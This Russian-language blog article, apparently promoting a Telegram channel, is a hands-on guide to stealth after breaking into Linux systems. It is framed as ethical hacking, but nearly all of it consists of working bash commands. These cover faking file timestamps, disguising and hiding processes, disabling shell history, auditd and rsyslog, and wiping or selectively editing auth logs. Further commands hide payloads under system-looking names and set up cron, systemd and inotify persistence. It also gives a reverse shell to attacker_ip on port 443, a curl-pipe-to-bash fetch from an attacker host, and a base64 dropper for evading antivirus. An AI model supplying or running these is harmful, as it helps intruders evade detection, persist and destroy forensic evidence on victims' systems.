Введение в Stealth режим при хакинге

В мире этичного хакинга, быть невидимым зачастую так же важно, как и получить первичный доступ. Подумайте сами: если вы проникнете в систему, но оставите за собой следы в логах, идентификаторах процессов и временных метках файлов, то практически оставите свою подпись на месте преступления.

Этот гайд посвящен скрытности и bash-скриптингу. Мы говорим не о супер эксплойтах, а о низкоуровневой невидимости, которая заставит команду криминалистов чесать затылки.

Почему так важна скрытность

Будь то моделирование атаки APT или просто проверка защищенности вашего сервера, скрытность имеет первостепенное значение. Участники Red team проектов используют скрытность, чтобы имитировать действия реальных злоумышленников. Хакеры применяют её, чтобы избежать ареста. В любом случае проникнуть внутрь — это только половина задачи, вторая — оставаться незамеченным.

Примеры из реального мира: как попадаются

Множество тестов на проникновение и реальных атак заканчиваются неудачно, потому что кто-то забыл навести за собой порядок. Забытая команда в bash_history, очевидная запись в журнале или временная метка — это те самые улики, из-за которых ловят злоумышленников.

1) Манипуляции с временными метками файлов

Что такое Timestomping?

Timestomping — это искусство изменения временных меток файлов, чтобы они выглядели старше и не были связаны с недавней активностью. Это помогает скрыть вредоносные файлы среди легитимных.

Команда для изменения временных меток:

touch -r /bin/ls malicious_file.sh

Сделает временную метку вашего файла идентичной временной метке /bin/ls. Хотите указать определенную дату?

touch -t 202001011200.00 yourscript.sh

Применение в реальном мире:

Предположим, вы разместили reverse shell скрипт в /usr/local/bin. Если временная метка явно указывает "создано пять минут назад", системный администратор может заметить это. Исправьте эту временную метку, и файл будет выглядеть незаметно.

2) Скрытые процессы. Переименование процессов

Исполняемые скрипты отображаются в ps, верно? Не если вы хитры...

exec -a "[kworker/0:1H]" ./evil_script.sh

Эта команда делает ваш процесс похожим на поток ядра. Отличная маскировка, правда?

Манипуляция с /proc с помощью Bash:

Используйте этот метод, чтобы напрямую читать или изменять имя вашего процесса:

echo "httpd" > /proc/$$/comm

Использование LD_PRELOAD для маскировки процесса

Если вас интересуют более сложные махинации, загрузите shared object (.so), который скрывает ваш PID от ps и top:

LD_PRELOAD=./hide.so ./payload

3) Очистка истории Bash

Отулючение журналирования в ~/.bash_history. Начните вашу сессию следующим образом:

HISTFILE=/dev/null

unset HISTFILE

set +o history

Теперь Bash не логируется.

Перезапись истории при выходе

Добавьте это в ваш скрипт:

history -c && history -w

“Best Practices” для временных сессий

Используйте неинтерактивную оболочку или команду script, чтобы изолировать сессии и сохранять журналы в безопасных местах.

4) Временное отключение ведения журнала

Перенаправление Syslog. Вы можете перехватить syslog, перенаправив его или отключив службу:

service rsyslog stop

Не забудьте снова включить ее, иначе это вызовет подозрения.

Отключение Audit Logs через Bash:

auditctl -e 0

Это отключит систему аудита Linux. Опять же, используйте это только в легальных целях.

5) Алиасы для сокрытия следов

Злонамеренные алиасы rm, cd или ls

alias ls='ls --color=auto --hide=payload.sh'

Теперь ваш файл исчезнет из списка.

Динамическое создание алиасов Bash

Разместите их в файлах .bashrc или .bash_profile, чтобы они загружались автоматически в будущих сессиях.

Использование алиасов для очистки

Создайте алиас, который удаляет журналы и скрывает следы:

alias vanish='rm -rf ~/.bash_history /var/log/*'

(Используйте только в легальных целях.)

6) Маскировка файлов и скриптов

Создание скрытых файлов с помощью точек

В Linux любой файл или директория, начинающаяся с точки (.), по умолчанию скрыты. Это базовая маскировка.

mv my_payload.sh .my_payload.sh

Он не появится в обычном ls, если пользователь не запустит ls -a.

Превращение файлов в системные службы

Хотите зайти дальше? Назовите файлы так, будто они принадлежат системе.

mv my_payload.sh systemd-update.sh

Затем спрячьте его в /lib/systemd/ или другой огромной папке. Это работает, потому что администраторы обычно не обращают внимания на сервисы, которые выглядят знакомо.

Сокрытие в /dev, /tmp, или /run

Эти директории поддерживаются в памяти и часто игнорируются.

mv payload.sh /dev/.udevtrigger

chmod +x /dev/.udevtrigger

Теперь ваш скрипт выглядит как обработчик событий устройства. Отлично.

7) Маскировка сетевой активности

Использование nc или bash -i реверс-оболочек на стандартных портах

Вместо сомнительного высокого порта используйте что-то, что выглядит нормально:

bash -i >& /dev/tcp/attacker_ip/443 0>&1

443 — это HTTPS. Никто не задает вопросов к HTTPS.

Обфускация с помощью TLS или VPN

Туннелируйте свои сеансы:

ssh -D 9050 user@attacker.com

Теперь все работает через SOCKS-прокси. Или используйте stunnel, чтобы обернуть вашу оболочку в TLS.

Мониторьте себя с помощью lsof и netstat

Всегда проверяйте свои следы:

lsof -i

netstat -tulnp

Убедитесь, что ничто не бросается в глаза.

8) Удаление следов из логов

Редактирование /var/log/auth.log, lastlog, utmp, wtmp

Для этого потребуется быть root. Но если вы им являетесь:

> /var/log/auth.log

> /var/log/syslog

Или еще лучше, используйте sed, чтобы точечно удалить только свои записи:

sed -i '/your_username/d' /var/log/auth.log

Bash однострочники для очистки:

cat /dev/null > ~/.bash_history; history -c

find /var/log -type f -exec truncate -s 0 {} \;

Автоматизация скриптов для очистки логов

Объедините все в один скрипт и выполните его после эксплуатации:

#!/bin/bash

history -c && history -w

find /var/log -type f -exec truncate -s 0 {} \;

Назовите его update.sh и положите в /tmp.

9) Использование скрытных Persistence техник

Бэкдоры в Crontab, которые выглядят легитимно

Crontab отлично подходит для закрепления.

(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -

Сделайте скрипт похожим на фоновую задачу системы.

Bash в Systemd Units или RC скриптах

Создайте пользовательский systemd unit:

[Unit]

Description=System Daemon

[Service]

ExecStart=/usr/local/bin/.update-daemon.sh

[Install]

WantedBy=multi-user.target

Сохраните как /etc/systemd/system/update-daemon.service и включите.

Остаемся незаметными с помощью Inotify скриптов

Используйте inotifywait для скрытого запуска скриптов при доступе к файлам или их изменении:

inotifywait -m /tmp -e create -e modify |

while read path action file; do

  bash /dev/.hidden_payload.sh

done

Очень интересный способ. Запускается только когда происходят определенные действия.

10) Развертывание вредоносных программ в памяти

Curl + Bash = Отсутствие записи на диск

Зачем загружать файл, если его можно передать потоком?

curl http://attacker/payload.sh | bash

Никаких файлов на диске. Чисто и быстро.

Использование dev/shm и /tmp для выполнения в ОЗУ

Оба являются tmpfs (хранятся в ОЗУ). Отлично подходят для файлов, которые не должны сохраняться.

cp exploit /dev/shm/exploit

./dev/shm/exploit

После перезагрузки системы – все исчезает.

Уход от AV/EDR с помощью Bash Droppers

Базовый вредоносный код:

echo "bash -i >& /dev/tcp/ip/port 0>&1" | base64

Затем декодируйте и выполните на целевом хосте. Помогает обходить простые средства обнаружения.

Советы как оставаться незаметным

Не используйте root, когда это возможно

Root привлекает внимание. Многие вещи можно сделать как обычный пользователь.

Избегайте шума — правильно сканируйте с помощью Nmap

Не используйте nmap -A (на всю мощность). Действуйте точечно:

nmap -sS -T2 -Pn -p 22,80,443 target

Тихо. Элегантно. Эффективно.

Убирайте за собой

Скрипты, логи, обратные оболочки, удалите то, что принесли. Всегда имейте готовый скрипт для очистки.

Заключение. Искусство оставаться незаметным

Скрытность — это не только навык, это искусство. Независимо от того, занимаетесь ли вы разведкой или исследованием, эти 10 трюков с Bash дают вам серьёзное преимущество в умении оставаться вне радаров. Помните: лучшие хакеры — это не те, которые попадут внутрь... а те, которые выйдут незамеченными.

Используйте эти инструменты с умом. Освойте их в лабораторных условиях. И всегда, всегда оставайтесь этичными.

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)